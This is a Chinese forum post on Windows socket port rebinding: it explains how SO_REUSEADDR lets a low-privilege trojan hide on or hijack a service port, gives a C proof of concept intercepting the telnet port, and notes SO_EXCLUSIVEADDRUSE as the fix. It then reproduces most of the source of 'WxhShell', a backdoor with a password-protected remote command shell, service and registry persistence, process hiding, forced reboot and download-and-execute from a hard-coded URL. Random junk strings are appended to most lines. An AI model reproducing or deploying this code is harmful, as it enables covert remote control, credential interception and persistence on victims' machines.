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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i`U:uwW`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (&HAjB  
/`McKYIP  
  saddr.sin_family = AF_INET; :iqFC >D  
|h$*z9bsf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (hWr!(>C4]  
7N9~nEU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #-*7<wN   
sLrSi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 . J[2\"W  
t[*;v  
  这意味着什么?意味着可以进行如下的攻击: qKNX^n;  
Y7(E<1Yx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 exT O#*o  
y=7WnQc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XJ,P8nx  
Vz[E)(QX-`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8s(?zK\  
golr,+LSo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QFt7L  
4gbi?UAmX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z(V?pHv+  
D#Fe\8!l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V; 0{o  
aV"K%#N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^PA[fL"  
o>*vG  
  #include .#0),JJZ[  
  #include FYq]-k{\  
  #include jR-DH]@y  
  #include    &S[tI$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FdwT  
  int main() pn3f{fQ  
  { Hbwjs?Vq?]  
  WORD wVersionRequested; 2r;^OWwr?  
  DWORD ret; 1&N|k;#QS  
  WSADATA wsaData; &* GwA  
  BOOL val; y Nb&;E7 H  
  SOCKADDR_IN saddr; /xf4*zr  
  SOCKADDR_IN scaddr; O0OBkIj  
  int err; 7LMad%  
  SOCKET s; tKg\qbY&  
  SOCKET sc; f[v~U<\R  
  int caddsize; *AX)QKQ@  
  HANDLE mt; 6!P];3&o\A  
  DWORD tid;   )#ze  
  wVersionRequested = MAKEWORD( 2, 2 ); 3S='/^l  
  err = WSAStartup( wVersionRequested, &wsaData ); w}n:_e  
  if ( err != 0 ) { ]yu,YZ@7  
  printf("error!WSAStartup failed!\n"); L$zI_ z  
  return -1; !#cZ!  
  } 8was/^9;  
  saddr.sin_family = AF_INET; 5"(AqXoq  
   t95hI DtD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 clfi)-^ {K  
F jdh&9Zc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $__e7  
  saddr.sin_port = htons(23); qZRx,^gd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 04-phEA2Q  
  { Cr0 \7  
  printf("error!socket failed!\n"); Y#'mALC2  
  return -1; bSHlR#!6  
  } N_S>%Z+  
  val = TRUE; LL3RC6;e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G#n99X@-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `L0aQ$'>z  
  { DDxNqVVt4  
  printf("error!setsockopt failed!\n"); Zur7"OkQ  
  return -1; OdX-.FFl  
  } CORX .PQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5MY+O\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V+M2Gf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "o#N6Qu71  
-f?Rr:#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B@!a@0,,_  
  { ]:TX> X!  
  ret=GetLastError(); pKK&+umg  
  printf("error!bind failed!\n");  v|+}>g  
  return -1; VuTH"br6  
  } K@xp!  
  listen(s,2); m(JFlO  
  while(1) xo{f"8}^  
  { rhFa rm4a  
  caddsize = sizeof(scaddr); U!m-{7s$  
  //接受连接请求 #sit8k`GR8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :&$4&\_F  
  if(sc!=INVALID_SOCKET) Bm%.f!`  
  {  /bA\O   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y@g{:/cmO  
  if(mt==NULL) g;en_~g3j  
  { K]dqK'  
  printf("Thread Creat Failed!\n"); PZ69aZ*Gs  
  break; t!^FWr&  
  } [;B_ENV  
  } 9/C0DDb  
  CloseHandle(mt); j}YZl@dYV  
  } @(.?e<  
  closesocket(s); .K^'Q|?  
  WSACleanup(); @ [_I|  
  return 0; Db({k,P'Y  
  }   GEP YSp  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'N,3]Soi  
  { 2L.UEAt  
  SOCKET ss = (SOCKET)lpParam; Q6?+#}  
  SOCKET sc; g#FqjE|mx  
  unsigned char buf[4096]; uF5d ]{Qt  
  SOCKADDR_IN saddr; g-xbb&]  
  long num; ;@K,>$ur-  
  DWORD val; G[u_Uu=>  
  DWORD ret; Q(m} Sr4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G 8|[.n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AG) N^yd  
  saddr.sin_family = AF_INET; [:$j<}UmB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /b@0HL?  
  saddr.sin_port = htons(23); >K#Z]k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jl3l\I'  
  { !7J;h{3Uw  
  printf("error!socket failed!\n"); Z91gAy^z<  
  return -1; FM9b0qE  
  } W#'c6Hq2c  
  val = 100; 7-Rn{"5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RhyI\(Z2q  
  { Rf2/[  
  ret = GetLastError(); LXIlrZ9D5  
  return -1; aq"E@fb  
  } rBs7,h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D+rDgrv  
  { GSV,  
  ret = GetLastError(); #Q6wv/"Ub  
  return -1; y<PPO6u7  
  } d T/*O8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "n '*_rh>+  
  { G/(oQA  
  printf("error!socket connect failed!\n"); fT._Os?i  
  closesocket(sc); ,IuO;UV#)  
  closesocket(ss); &dvJg  
  return -1; 7=om /  
  } x[nv+n ,  
  while(1) l>"gO9j  
  { G%ycAm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ndi'b_Sh\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KtY~Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =B1t ?( "  
  num = recv(ss,buf,4096,0); h0n0Dc{4  
  if(num>0) b7v] g]*  
  send(sc,buf,num,0); wd*T"V3  
  else if(num==0) F-k1yZ?^  
  break; 8!>uC&bE8  
  num = recv(sc,buf,4096,0); u!g=>zEu  
  if(num>0) /(n)I  
  send(ss,buf,num,0); : ` F>B  
  else if(num==0) D]y6*Ha  
  break; } 3:TPW5S  
  } psRm*,*O  
  closesocket(ss); y5a^xRDw  
  closesocket(sc); A#1aO  
  return 0 ; f]T1:N*t  
  } S,AZrgh,"X  
$$ _ uQf  
^1,]?F^  
========================================================== \+GXUnkj  
)2YU|  
下边附上一个代码,,WXhSHELL \Qk:\aLR  
%9mB4Fc6b)  
========================================================== B>X+eK  
.j88=t0  
#include "stdafx.h" 9ciL<'H\  
HT?`PG  
#include <stdio.h> ^ bM;C_<$f  
#include <string.h> e/;Ui  
#include <windows.h> `k\]I |6  
#include <winsock2.h> b,T=0W  
#include <winsvc.h> Zpb3>0<R  
#include <urlmon.h> }J`{g/  
2l5@gDk5  
#pragma comment (lib, "Ws2_32.lib") [%l+ C~m  
#pragma comment (lib, "urlmon.lib") EUuMSDp  
'4Z%{.;  
#define MAX_USER   100 // 最大客户端连接数 ^0{S!fs  
#define BUF_SOCK   200 // sock buffer m_rRe\  
#define KEY_BUFF   255 // 输入 buffer .e.vh:Sz  
qx0o,oZN!  
#define REBOOT     0   // 重启 V<4)'UI?k9  
#define SHUTDOWN   1   // 关机 fbuop&FN+q  
r@%32h  
#define DEF_PORT   5000 // 监听端口 fY%Sw7ql<  
NBMY1Xgj  
#define REG_LEN     16   // 注册表键长度 p6=#LwL'  
#define SVC_LEN     80   // NT服务名长度 SVq7qc9K?  
m}uF&|5  
// 从dll定义API CQ,r*VAw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E=s`$ A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iUI,r*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AU'{aC+p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); njUM>E,'  
{z F  
// wxhshell配置信息 eA4*Be;9e  
struct WSCFG { dJ24J+9}]j  
  int ws_port;         // 监听端口 ixKQh};5/  
  char ws_passstr[REG_LEN]; // 口令 kIW Q`)'  
  int ws_autoins;       // 安装标记, 1=yes 0=no M!X@-t#  
  char ws_regname[REG_LEN]; // 注册表键名 fI$, ?>  
  char ws_svcname[REG_LEN]; // 服务名 |?8CV\D!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kI[EG<N1k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bjT0Fi0-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }_?7k0EZ@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BMX x(W]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &OzJ^G\o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =Fj : #s  
z%g<&Cq  
}; C i*TX  
H~V=TEj  
// default Wxhshell configuration aO<d`DTyJ  
struct WSCFG wscfg={DEF_PORT, #='#`5_5  
    "xuhuanlingzhe", um8ZhXq  
    1, J7cqnj  
    "Wxhshell", D3^v[>E2  
    "Wxhshell", T >-F~?7Sv  
            "WxhShell Service", ` jUn  
    "Wrsky Windows CmdShell Service", &H+<uYV  
    "Please Input Your Password: ", \pPq ]k  
  1, T2(+HI2  
  "http://www.wrsky.com/wxhshell.exe", ]iNSa{G  
  "Wxhshell.exe" v#/,,)m  
    }; uPo>?hpq+  
\uPT-M*  
// 消息定义模块 6|jE3rHw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3 t_5Xacj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X*Q7Yu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w^p2XlQ<  
char *msg_ws_ext="\n\rExit."; }Ql;%7  
char *msg_ws_end="\n\rQuit."; s[s^z<4G  
char *msg_ws_boot="\n\rReboot..."; 9n%W-R.  
char *msg_ws_poff="\n\rShutdown..."; ljf9L:L  
char *msg_ws_down="\n\rSave to "; EhVnt#`Si  
r}5GJ|p0  
char *msg_ws_err="\n\rErr!"; 1Gqtd^*;  
char *msg_ws_ok="\n\rOK!"; dl;A'/(t  
 /KV@Ce\  
char ExeFile[MAX_PATH]; dkn_`j\v  
int nUser = 0; B"B  
HANDLE handles[MAX_USER]; ^|\?vA  
int OsIsNt; R1m18GHQ  
,}|V'y  
SERVICE_STATUS       serviceStatus; d[Fsp7U}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'V>+G>U  
d z\b]H]  
// 函数声明 Wex4>J<`/  
int Install(void); ypifXO;m7  
int Uninstall(void); s3knh&'zb  
int DownloadFile(char *sURL, SOCKET wsh); i*; V4zh  
int Boot(int flag); dJ;;l7":~  
void HideProc(void); Ebk@x=E  
int GetOsVer(void); pucHB<R@bL  
int Wxhshell(SOCKET wsl); V\xQM;  
void TalkWithClient(void *cs); ?nn,RBS-  
int CmdShell(SOCKET sock); Pb`sn5;  
int StartFromService(void); #,9|Hr%  
int StartWxhshell(LPSTR lpCmdLine); bQ4 }no0  
=1JRu[&]8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o. _^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); So 5{E 4[  
nbRg<@  
// 数据结构和表定义 UM]wDFn'E  
SERVICE_TABLE_ENTRY DispatchTable[] = a3)#tt=rA  
{ j>:T)zhyY  
{wscfg.ws_svcname, NTServiceMain}, V,"'k<y  
{NULL, NULL} GkO6r'MVE  
}; L7b{H2 2  
@Uu\x~3y  
// 自我安装 }v!6BU6<Q  
int Install(void) 0qZ)$ YKq  
{ g[n8N{s  
  char svExeFile[MAX_PATH]; Lr~K3nb  
  HKEY key; ;K_B,@:'  
  strcpy(svExeFile,ExeFile); ditzl(L   
x?F{=\z/o  
// 如果是win9x系统,修改注册表设为自启动 p?h;Sv/  
if(!OsIsNt) { ;|%r!!#-t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I"!{HnSG`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :({<"H)!'  
  RegCloseKey(key); uXC?fMWp.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JQCwI`%i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !K2[S J  
  RegCloseKey(key); RAxz+1JT  
  return 0; ]aR4U`  
    } Ij8tBT?jlL  
  } e{O5y8,  
} 2n=;"33%a  
else { {V&7JZl,/  
c%dy$mkqgK  
// 如果是NT以上系统,安装为系统服务 r]S9z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,ym;2hJ  
if (schSCManager!=0) #(H_w4  
{ R}VL UL$  
  SC_HANDLE schService = CreateService .s?OKy  
  ( 4s8E:I=K  
  schSCManager, {?iqO?  
  wscfg.ws_svcname, :}z% N7T  
  wscfg.ws_svcdisp, #+G2ZJxL|  
  SERVICE_ALL_ACCESS, P:TpB6.=q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cmeyCyV*  
  SERVICE_AUTO_START, }M9al@"  
  SERVICE_ERROR_NORMAL, ZL>V9UWN  
  svExeFile, P(;c`   
  NULL, ,W-0qN&%/  
  NULL, X3nhqQTZ  
  NULL, SMFW]I2T/  
  NULL, $5IrM 7i  
  NULL QhUr aZ  
  ); @FV;5M:I  
  if (schService!=0) .g~@e_;):  
  { a\w | tf  
  CloseServiceHandle(schService); o~K2K5I  
  CloseServiceHandle(schSCManager); -(.7/G'Vk>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 57>ne)51  
  strcat(svExeFile,wscfg.ws_svcname); _XZ=4s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (n/1 :'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )8SP$  
  RegCloseKey(key); {+:XVT_+  
  return 0; &>{>k<z  
    } sdWl5 "  
  } ar|[D7Xrq\  
  CloseServiceHandle(schSCManager); \gkajY-?  
} dWy1=UQfP  
} cZ>W8{G  
L'Zud,JKg  
return 1; 3c3Z"JV  
} ^j %UZ  
nS4S[|w"  
// 自我卸载 E2IVR]C2^  
int Uninstall(void) q1Sm#_7  
{ -#6*T,f0P(  
  HKEY key; )mdNvb[*n  
7 L\?  
if(!OsIsNt) { `1@[uWl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W<VHv"?V  
  RegDeleteValue(key,wscfg.ws_regname); e63|Z[8  
  RegCloseKey(key); ~P_kr'o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NO^t/(Z  
  RegDeleteValue(key,wscfg.ws_regname); J"rwWIxO*  
  RegCloseKey(key);  uN 62>  
  return 0; %ZyPK,("  
  } % eRwH >  
} 29^bMau)v  
} 3L?a4,Q"k}  
else { b<AE}UK  
Ba0D"2CgY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y Xx62J  
if (schSCManager!=0) e,&%Z  
{ bOMP8{H,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sjgR \`AU  
  if (schService!=0) 0 0&$SE  
  { MPn>&28"|K  
  if(DeleteService(schService)!=0) { |:+pPh!-  
  CloseServiceHandle(schService); i(;-n_:, `  
  CloseServiceHandle(schSCManager); %n25Uq  
  return 0; r5!M;hU1j  
  } rVy\,#|  
  CloseServiceHandle(schService); 03WRj+w  
  } v6?\65w,|  
  CloseServiceHandle(schSCManager); RCYbRR4y  
} yQ{_\t1Wd  
} [9om"'  
/'6[*]IZP  
return 1; 9Fx z!-9m  
} hX%v`8  
 /kU@S  
// 从指定url下载文件 gsWlTI  
int DownloadFile(char *sURL, SOCKET wsh) #.+*G`m  
{ ;}~Bv<#  
  HRESULT hr; YwWTv  
char seps[]= "/"; }#*zjMOz  
char *token; Z'dI!8(Nf  
char *file; r/sRXM:3cZ  
char myURL[MAX_PATH]; Ko|xEz=  
char myFILE[MAX_PATH]; OW}j4-~wL  
oy bzD  
strcpy(myURL,sURL); ( L\G!pP.  
  token=strtok(myURL,seps); w9<FX>@  
  while(token!=NULL) f^sb0nU  
  { n UCk0:{  
    file=token; EJaaW&>[  
  token=strtok(NULL,seps); L_ qv<iM$  
  } RK:sQWG  
/{ MH'  
GetCurrentDirectory(MAX_PATH,myFILE); efkie}  
strcat(myFILE, "\\"); n3g WM C  
strcat(myFILE, file); lkWeQ)V  
  send(wsh,myFILE,strlen(myFILE),0); ((>3,%B`  
send(wsh,"...",3,0); Z?v6pjZ?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u|>U`[Zpj  
  if(hr==S_OK) n;^k   
return 0; 7WfirRM  
else 9Q7cUoxY  
return 1; `[` *@O(y  
A;j$rGx  
} F"f}vl  
IA 9v1:>  
// 系统电源模块 QqK{~I|l  
int Boot(int flag) zHc4e   
{ 2a(yR >#  
  HANDLE hToken; Ldj^O9p(  
  TOKEN_PRIVILEGES tkp; PSqtZN  
 ~uZLe\>K  
  if(OsIsNt) { \]#;!6ge  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $CwTNm?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UH,4b`b  
    tkp.PrivilegeCount = 1; NT9- j#V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !na0Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  !QW 0  
if(flag==REBOOT) { GlgORy=>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +JAfHQm-  
  return 0; V<NsmC=g  
} b:5%}  
else { [xs)u3b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QRZTT qG  
  return 0; 9Glfi@.  
} Ysc|kxLb  
  } VDu .L8  
  else { aU]O$Pg{  
if(flag==REBOOT) { Z=Y_;dS9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q,,>:]f#  
  return 0; $s(4?^GP  
} qTa]th;  
else { lp0T\ %  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]7R&m)16  
  return 0; nK%/tdq  
} n.Eoi4jV'  
} {L-aXe{  
a(43]d&  
return 1; i_'R"ob{S  
} "tz0ko,(  
p5# P r  
// win9x进程隐藏模块 ]^6y NtLK  
void HideProc(void) ~)m t&   
{ G5nj,$F+  
NZ+?Ydr8k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'oHOFH9:{b  
  if ( hKernel != NULL ) voej ~z+  
  { CWe>jlUQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zc\h15+P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0O['-x  
    FreeLibrary(hKernel); vD)A)  
  } T.w}6? 2  
$L&9x3+?Kg  
return; B[/['sD  
} LY88;*:S  
;]oXEq`  
// 获取操作系统版本 EO 9kE.g  
int GetOsVer(void) HSr"M.k5  
{ vPl6Das r  
  OSVERSIONINFO winfo; NtA|#"^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZG \ I1  
  GetVersionEx(&winfo); Z>w^j.(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vrm{Ql&  
  return 1; .1z$ A  
  else J.e8UQ@=5  
  return 0; D@r n@N  
} qvfAG 0p  
ekl? K~  
// 客户端句柄模块 ({H+ y 9n  
int Wxhshell(SOCKET wsl) ^~r&}l4c,  
{ qJFgbq4-  
  SOCKET wsh; U3|&Jee  
  struct sockaddr_in client; y%IG:kZ,  
  DWORD myID; @(,{_c]  
F3Ak'h{Ay  
  while(nUser<MAX_USER) */5<L99v  
{ fdq^!MWTi  
  int nSize=sizeof(client); 6PQJgki  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z5yb$-j  
  if(wsh==INVALID_SOCKET) return 1; ;*g*DIR  
]dGr1 ncu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kO,VayjT  
if(handles[nUser]==0) wUIsi<Oj  
  closesocket(wsh); /VmCN]2AZ  
else H?=pWB  
  nUser++; '[=yfh   
  } gSv[4,hXd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iQm.]A  
B=Zukg1G  
  return 0; _sf#J|kQ  
} ~g K-5}%!  
7k`*u) Q  
// 关闭 socket u .pKK  
void CloseIt(SOCKET wsh) AK~`pq[.  
{ SP D207  
closesocket(wsh); 9HJ'p:{)  
nUser--; &8X .!r`f  
ExitThread(0); kuTq8p2E  
} Oj4u!SY\j  
Dc&9emKI  
// 客户端请求句柄 _r<zSH%  
void TalkWithClient(void *cs) _,Rsl$Tk'  
{ -e`oW.+  
V$-~%7@>;9  
  SOCKET wsh=(SOCKET)cs; 1|l)gfcP  
  char pwd[SVC_LEN]; VT5cxB<  
  char cmd[KEY_BUFF]; <>T&ab@dE(  
char chr[1]; =;k+g?.@I  
int i,j; ni"$[8U  
tkdBlG]!  
  while (nUser < MAX_USER) { k binf  
:p\(y  
if(wscfg.ws_passstr) {  zU4V^N'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mg a@JA"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c+Q.?vJ  
  //ZeroMemory(pwd,KEY_BUFF); t4jd KYA  
      i=0; j5,^9'  
  while(i<SVC_LEN) { dK J@{d  
t> x-1vf%  
  // 设置超时 =$)4:  
  fd_set FdRead; 6=G~6Qu  
  struct timeval TimeOut; 5M<' A=  
  FD_ZERO(&FdRead); ^8';8+$  
  FD_SET(wsh,&FdRead); nL":0!DTRD  
  TimeOut.tv_sec=8; !y qa?\v9  
  TimeOut.tv_usec=0; mX<Fuu}E*Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AK@`'$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m{b ZRkt  
jSwtf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5q(]1|Se i  
  pwd=chr[0]; ( K6~Tj  
  if(chr[0]==0xd || chr[0]==0xa) { `x{.z=xC  
  pwd=0; o[bE  
  break; 96"yNqBf  
  } V9fGVDl;  
  i++; ;0w^ud  
    } rP^TN^bd|  
2qs>Bshf  
  // 如果是非法用户,关闭 socket H[ BD)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Y? gzD  
}  (kWSK:l  
QQg8+{>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *PSvHXNi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V-KL%  
bH\'uaJ  
while(1) { N|!MO{sB  
Ow cVPu_  
  ZeroMemory(cmd,KEY_BUFF); '%zN  
W>5vRwx00  
      // 自动支持客户端 telnet标准   ,hpH!J'5f/  
  j=0; e2]4a3  
  while(j<KEY_BUFF) { KGV.S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !US8aT  
  cmd[j]=chr[0]; w(76H^e  
  if(chr[0]==0xa || chr[0]==0xd) { ID67?:%r  
  cmd[j]=0; K3vseor  
  break; v2 29H<  
  } _ztZ> '  
  j++; ,op]-CY 5  
    } g>2aIun_Q  
 0dgP  
  // 下载文件 hp bwZ  
  if(strstr(cmd,"http://")) { (C8 U   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); doP$N3Zm  
  if(DownloadFile(cmd,wsh)) v! 7s M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _GVE^yW~z  
  else U@Z>/ q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nNt*} k  
  } X+=-f^)&  
  else { Nls83 W  
8YuJ8KC  
    switch(cmd[0]) { -PNi^ K_  
  )y9;OA  
  // 帮助 Y/. AUN Z  
  case '?': { ~I{EE[F>qL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X}ZlWJ  
    break; BjJ,"sT  
  } K)\(wxv  
  // 安装 4p.^'2m  
  case 'i': { PG{i,xq_B{  
    if(Install()) ?b||Cr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Bc> IO  
    else D`6iDi t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s}6+8fE"  
    break; ze`1fO|%  
    } 6iG(C.b  
  // 卸载 ;Vg^!]LL#  
  case 'r': { 1EVfowIl  
    if(Uninstall()) ^>C 11v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I*EJHBsQ5  
    else Q,{^S,s<   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RFw(]o,9cR  
    break; Z&_y0W=t  
    } PK_s#uC  
  // 显示 wxhshell 所在路径 otO j^xU  
  case 'p': { qAoAUD m  
    char svExeFile[MAX_PATH]; 'T\dkSJv;V  
    strcpy(svExeFile,"\n\r"); )2xE z  
      strcat(svExeFile,ExeFile); {fZb@7?GF  
        send(wsh,svExeFile,strlen(svExeFile),0); > 2#%$lX6  
    break; '"y}#h__T  
    } Yc^%zxub  
  // 重启 ?hnx/z+uT  
  case 'b': { !O|ql6^;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ebqg"tPN{  
    if(Boot(REBOOT)) xq}-m!nX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \[yr=X  
    else { j&5G\6:  
    closesocket(wsh); >c<pDNt?  
    ExitThread(0); +R!zs  
    } ~g6"'Cya?k  
    break; e}c&LDgU  
    } `ncNEHh7K  
  // 关机 _a](V6  
  case 'd': { @Mm/C?#*O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jpRBER_X  
